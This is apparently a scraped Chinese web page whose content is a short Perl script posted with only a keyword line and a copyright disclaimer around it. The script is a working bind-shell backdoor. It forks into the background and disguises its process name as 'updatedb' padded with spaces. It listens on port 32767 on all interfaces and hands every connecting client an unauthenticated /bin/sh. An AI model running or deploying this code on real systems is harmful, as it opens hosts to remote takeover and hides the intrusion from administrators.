注册
登录
| 关键词： nbsp Socket port close open fork ARGV setsockopt REUSEADDR bin |
#!/usr/bin/perl $port = 32767;$port = $ARGV[0] if $ARGV[0];exit if fork;$0 = "updatedb" . " " x100;$SIG{CHLD} = 'IGNORE';use Socket;socket(S, PF_INET, SOCK_STREAM, 0);setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);bind(S, sockaddr_in($port, INADDR_ANY));listen(S, 50);while(1){ accept(X, S); unless(fork) { open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X"; close X; exec("/bin/sh"); } close X;} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
